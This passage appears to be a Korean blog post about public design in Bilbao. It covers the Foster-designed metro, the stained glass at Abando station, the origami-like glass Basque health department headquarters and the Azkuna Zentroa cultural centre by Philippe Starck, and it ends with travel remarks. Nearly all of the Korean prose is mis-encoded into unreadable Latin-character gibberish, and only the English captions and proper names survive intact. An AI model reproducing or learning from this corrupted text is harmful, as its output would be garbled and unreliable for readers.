์‚ฌ๋žŒ์ค‘์‹ฌ์˜ ๋„์‹œ๋กœ ๋นŒ๋ฐ”์˜ค์‹œ๊ฐ€ ๊ด€์‹ฌ์„ ๊ฐ€์ง„ ์š”์†Œ๊ฐ€ ๋ฐ”๋กœ ๊ณต๊ณต๋””์ž์ธ์ธ๋ฐ์š”. ๋นŒ๋ฐ”์˜ค์˜ ๋Œ€ํ‘œ์ ์ธ ๊ฑด์ถ•๋ฌผ์ธ ๋นŒ๋ฐ”์˜ค ๊ตฌ๊ฒํ•˜์ž„ ๋ฏธ์ˆ ๊ด€๋ฟŒ๋งŒ์ด ์•„๋‹ˆ๋ผ ๋„์‹œ ๊ณณ๊ณณ์— ๋„๋ ค์ž‡๋Š” ๊ณต๊ณต ๊ฑด๋ฌผ์— ๋„์‹œ๊ฐ€ ์ง€ํ–ฅํ•˜๋Š” ์ปจ์…‰์— ๋งž๋Š” ๊ณต๊ณต ๋””์ž์ธ ๊ฑด๋ฌผ์„ ์„ธ์› ์Šต๋‹ˆ๋‹ค.

์‚ฌ๋žŒ ์ค‘์‹œ์˜ ์˜ˆ์ˆ ๋„์‹œ๊ฐ€ ๋˜๋ ค๋ฉด ์ผ๋ถ€๋ถ„๋งŒ์ด ์•„๋‹ˆ๋ผ ๋„์‹œ ์ „์ฒด๊ฐ€ ์•„๋ฆ„๋‹ค์šธ ํ•„์š”๊ฐ€ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์ž˜ ์ดํ•ดํ•œ ๊ฒƒ์ด์ฃ .

์—ฌ๊ธฐ ๋นŒ๋ฐ”์˜ค์—์„œ ๋ชฉ๊ฒฉํ•  ์ˆ˜ ์žˆ๋Š” ์ฃผ๋ชฉํ• ๋งŒํ•œ ๊ณต๊ณต ๋””์ž์ธ ๋ช‡๊ฐ€์ง€๋ฅผ ๊ฐ„๋‹จํžˆ ์‚ดํŽด๋ด…๋‹ˆ๋‹ค.

5.1. ๋นŒ๋ฐ”์˜ค ์•„์ด๋ดํ‹ฐํ‹ฐ๋ฅผ ์ž˜ ๋ณด์—ฌ์ค€ ๋นŒ๋ฐ”์˜ค ์ง€ํ•˜์ฒ ์—ญ

์˜๊ตญ ๊ณต๊ณต ๋””์ž์ด๋„ˆ ๋…ธ๋จผ ํฌ์Šคํ„ฐ๊ฐ€ ๋””์ž์ธํ•œ ๋นŒ๋ฐ”์˜ค ์ง€ํ•˜์ฒ ์€ ์œ ๋Ÿฝ ๊ฑด์ถ• ๋Œ€์ƒ์„ ์ˆ˜์ƒํ•  ์ •๋„๋กœ ์ž˜๋œ ๊ณต๊ณต ๋””์ž์ธ์œผ๋กœ ๊ผฝํž™๋‹ˆ๋‹ค.

์ด ์ง€ํ•˜์ฒ ์€ ์ฒ ๊ฐ• ์‚ฐ์—…์ด ํ‰์„ฑํ–ˆ๋˜ ์ด ๋„์‹œ์˜ ์ •์ฒด์„ฑ์— ๋งž์ถ”์–ด ๊ฐ„๊ฒฐํ•˜๊ณ  ๋‹จ์ˆœํ•œ ๋””์ž์ธ์œผ๋กœ ๋นŒ๋ฐ”์˜ค ๋„์‹œ ์ •์ฒด์„ฑ์„ ์ž˜ ๋“œ๋Ÿฌ๋ƒˆ๋‹ค๋Š” ํ‰๊ฐ€๋ฅผ ๋ฐ›๊ณ  ์žˆ์ฃ .

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์ง€ํ•˜์ฒ ์—ญ ๋””์ž์ธ, Bilbao rarilway station design, Photo by iCurro
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์ง€ํ•˜์ฒ ์—ญ ๋””์ž์ธ, Bilbao rarilway station design, Photo by iCurro

ํŠนํžˆ ๋นŒ๋ฐ”์˜ค ์•„๋ฐ˜๋„ ์ง€ํ•˜์ฒ ์—ญ(Bilbao-Abando railway station)์˜ ํ™€์— ์žฅ์‹๋œ ์•„๋ฆ„๋‹ค์šด ์Šคํ…Œ์ธ๊ธ€๋ผ์Šค ๋””์ž์ธ์€ ๋นŒ๋ฐ”์˜ค ์ง€ํ•˜์ฒ  ๋””์ž์ธ์˜ ๋ฐฑ๋ฏธ๋ผ ํ• ๋งŒ ํ•ฉ๋‹ˆ๋‹ค.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์•Œ๋ฐ˜๋„์—ญ ์Šคํ…Œ์ธ๋“œ๊ธ€๋ผ์Šค์™€ ์‹œ๊ณ„, Stained glass window with clock in the Abando Indalecio Prieto railway station in Bilbao Spain, Photo by Arjan Richter
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ์•Œ๋ฐ˜๋„์—ญ ์Šคํ…Œ์ธ๋“œ๊ธ€๋ผ์Šค์™€ ์‹œ๊ณ„, Stained glass window with clock in the Abando Indalecio Prieto railway station in Bilbao Spain, Photo by Arjan Richter

5.2. ๋””์ž์ธ, ์—๋„ˆ์ง€, ์†Œ์Œ์„ ๋‹ค ์žก์•˜๋‹ค๋Š” ๋ฐ”์Šคํฌ ์œ„์ƒ์„ฑ(Basque health department headquaerers)

๋˜ํ•œ ๋นŒ๋ฐ”์˜ค๊ฐ€ ์ŠคํŽ˜์ธ ๋ฐ”์Šคํฌ์ฃผ์˜ ์ฃผ๋„์ด๋ฏ€๋กœ ๋„์‹œ ๊ณณ๊ณณ์— ๋ฐ”์Šคํฌ ์ฃผ์ •๋ถ€์™€ ๋นŒ๋ฐ”์˜ค์‹œ ๊ฑด๋ฌผ๋“ค์ด ์‚ฐ์žฌํ•ด ์žˆ๋Š”๋ฐ์š”. ์ด์ค‘์—์„œ ๋ฐ”์Šคํฌ ์œ„์ƒ์„ฑ ๊ฑด๋ฌผ๋„ ์ž˜๋œ ๊ณต๊ณต ๋””์ž์ธ์œผ๋กœ ๊ผฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ฐ”์Šคํฌ ์œ„์ƒ์„ฑ ๊ฑด๋ฌผ์€ ์œ ๋ฆฌ๋ฅผ ๋งˆ์น˜ ์ข…์ž…์ ‘๊ธฐํ•˜๋“ฏํ•œ ํ˜•์ƒ์œผ๋กœ ์ŠคํŽ˜์ธ ๊ฑด์ถ•๊ฐ€ ์ฝœ ๋ฐ”๋ฃจColl-Barreu)๊ฐ€ ๋””์ž์ธํ–ˆ๋‹ค๊ณ  ํ•ด์š”.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋ฐ”์Šคํฌ ์œ„์ƒ์„ฑ ๋ณธ๋ถ€, Basque health department headquaerers, Photo by mostapha-abidour
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋ฐ”์Šคํฌ ์œ„์ƒ์„ฑ ๋ณธ๋ถ€, Basque health department headquaerers, Photo by mostapha-abidour

๋งˆ์น˜ ์ข…์ด์ ‘๊ธฐ๋ฅผ ์—ฐ์ƒ์‹œํ‚ค๋Š” ์ด ๋นŒ๋ฐ”์˜ค ์œ„์ƒ์„ฑ๊ฑด๋ฌผ์€ ์ข…์ด์ ‘๊ธฐ์‹์˜ ์ž…์ฒด์  ๋””์ž์ธ์€ ์•„๋ฆ„๋‹ค์šด ์‹œ๊ฐ์  ํšจ๊ณผ๋ฅผ ์ค„๋ฟ์•„๋‹ˆ๋ผ ๋นผ์–ด๋‚œ ์—๋„ˆ์ง€ ์ ˆ๊ฐ ํšจ๊ณผ์™€ ๋”๋ถˆ์–ด ์™ธ๋ถ€ ๋„์‹œ์˜ ์†Œ์Œ์„ ๋ง‰๋Š” ํšจ๊ณผ๊นŒ์ง€ ๋ณด์ธ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

์œ ๋ฆฌ๋กœ ์ข…์ด์ ‘๊ธฐ์ฒ˜๋Ÿผ ๋งŒ๋“ค์–ด์ ธ ์žˆ๊ธฐ ๋Œ€๋ฌธ์— ๋‹ค์–‘ํ•œ ๊ฐ๋„์—์„œ ๋‹ค์–‘ํ•œ ๋ชจ์Šต์„ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ์š”. ํŠนํžˆ ๋น›์˜ ๋ฐฉํ–ฅ์— ๋”ฐ๋ผ, ๊ณ„์ ˆ์— ๋”ฐ๋ผ ๊ทธ๋ฆฌ๊ณ  ๋ณด๋Š” ์‚ฌ๋žŒ์˜ ์œ„์น˜์— ๋”ฐ๋ผ ๋‹ค์–‘ํ•œ ์•„๋ฆ„๋‹ค์›€์„ ๋ณด์—ฌ์ฃผ๋Š” ๋‹ค์ฑ„๋กœ์šด ๊ฑด์ถ•๋ฌผ์ž…๋‹ˆ๋‹ค.

5.3. ๋ณตํ•ฉ ๋ฌธํ™”๊ณต๊ฐ„ ์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa)

์™€์ธ๊ฑฐ๋ž˜์†Œ์—์„œ ๋ณตํ•ฉ ๋ฌธํ™”๊ณต๊ฐ„์œผ๋กœ ๋ณ€๋ชจํ•œ ์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa)๋„ ์ฃผ๋ชฉ๋ฐ›๋Š” ๊ณต๊ณต ๋””์ž์ธ์ธ๋ฐ์š”.

์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋ณตํ•ฉ ๋ฌธํ™”๊ณต๊ฐ„ ์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa) ์ •๋ฉด ์ด๋ฏธ์ง€, Photo by Fred Romero
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋ณตํ•ฉ ๋ฌธํ™”๊ณต๊ฐ„ ์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa) ์ •๋ฉด ์ด๋ฏธ์ง€, Photo by Fred Romero
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋ณตํ•ฉ ๋ฌธํ™”๊ณต๊ฐ„ ์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa) ๋‚ด๋ถ€ ์ด๋ฏธ์ง€, Photo by Fred Romero
์ŠคํŽ˜์ธ ๋นŒ๋ฐ”์˜ค ๋ณตํ•ฉ ๋ฌธํ™”๊ณต๊ฐ„ ์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa) ๋‚ด๋ถ€ ์ด๋ฏธ์ง€, Photo by Fred Romero

ํ”„๋ž‘์Šค ๊ฑด์ถ•๊ฐ€ ํ•„๋ฆฝ ์Šคํƒ(Philippe Starck)๋Š” ์™€์ธ ๊ฑฐ๋ž˜์†Œ๋กœ ์‚ฌ์šฉ๋˜๋˜ ์ด๊ณณ์„ ๋‹ค์–‘ํ•œ ์—ฌ๊ฐ€๋ฅผ ์ฆ๊ธฐ๊ณ  ๋ฌธํ™”๋ฅผ ์ฆ๊ธธ ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฐ„์œผ๋กœ ๋ณ€๋ชจ์‹œ์ผฏ์Šต๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๊ฒฐ๊ณผ ์ด๊ณณ์€ 2001๋…„์— ๋ฌธํ™”, ๋ ˆ์ € ๋ฐ ์Šคํฌ์ธ  ์„ผํ„ฐ๋ฅผ ๊ฐ–์ถ˜ ํ˜„๋Œ€์  ๊ฑฐ๋ฌผ๋กœ ์ƒˆ๋กญ๊ฒŒ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค.

์•„์ฃผ์ฟ ๋‚˜ ์  ํŠธ๋กœ์•„(Azkuna Zentroa)๋Š” ์˜ค๋žœ๋œ ๊ฑด๋ฌผ์„ ์–ด๋–ป๊ฒŒ ํ˜„๋Œ€ํ™”์‹œํ‚ค๊ณ  ์‹œ๋ฏผ๋“ค์˜ ๊ณต๊ฐ„์œผ๋กœ ํ™œ์šฉ์„ฑ์„ ๋†’์ผ ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์ž˜ ๋ณด์—ฌ์ฃผ๋Š” ์‚ฌ๋ก€๋กœ ์ฃผ๋ชฉ๋ฐ›๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

6. ๋งˆ์น˜๋ฉฐ

์ƒˆ๋กœ์šด ๋ฌธํ™”๋„์‹œ๋กœ ๋˜์‚ด์•„๋‚œ ๋นŒ๋ฐ”์˜ค๋Š” 2018๋…„ ‘ ์˜ฌํ•ด์˜ ์œ ๋Ÿฝ ๋„์‹œ(European City of the Year)’๋กœ ์„ ์ •๋˜๋Š” ๋“ฑ ๋ช…์„ฑ์„ ์Œ“์•„๊ฐ€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

๋”์šฐ๊ธฐ 2020๋…„์—๋Š” ์œ ๋Ÿฝ์ถ•๊ตฌ์„ ์ˆ˜๊ถŒ ๋Œ€ํšŒ์ธ UEFA ์œ ๋กœ 2020์ด ์ด๊ณณ์— ๊ฐœ์ตœ๋˜๊ธฐ ๋•Œ๋ฌธ์— ์Šคํฌ์ธ ํŒฌ๋“ค์˜ ๊ด€์‹ฌ์„ ๋ฐ›์•„ ๋นŒ๋ฐ”์˜ค ๋ฐฉ๋ฌธ์ด ๊ธ‰์ฆํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ด๋„ค์š”.

์ŠคํŽ˜์ธ์€ ๊ฑด์ถ•์˜ ๋‚˜๋ผ๋กœ ๋ฐ”๋กœ์…€๋กœ๋‚˜๋‚˜ ๋งˆ๋“œ๋ฆฌ๋“œ์™€ ๊ฐ™์€ ์œ ๋ช… ๊ด€๊ด‘์ง€์˜ ์ด์ „ ๊ฑด์ถ•๋ฌผ์„ ๋ณด๋Š” ๊ฒƒ๋„ ์ข‹๊ฒ ์ง€๋งŒ ๋นŒ๋ฐ”์˜ค์™€ ๊ฐ™์ด ํ˜„๋Œ€ ๊ฑด์ถ• ๋””์ž์ธ ๊ทธ๋ฆฌ๊ณ  ์นœํ™˜๊ฒฝ ๋„์‹œ ๊ฑด์ถ•์„ ๋ณด๋ฉด์„œ ์ƒˆ๋กœ์šด ๊ฒฌ๋ฌธ์„ ๋„“ํžˆ๋Š” ๊ฒƒ๋„ ์ข‹์€ ์„ ํƒ์ด๊ฒ ์ฃ ?

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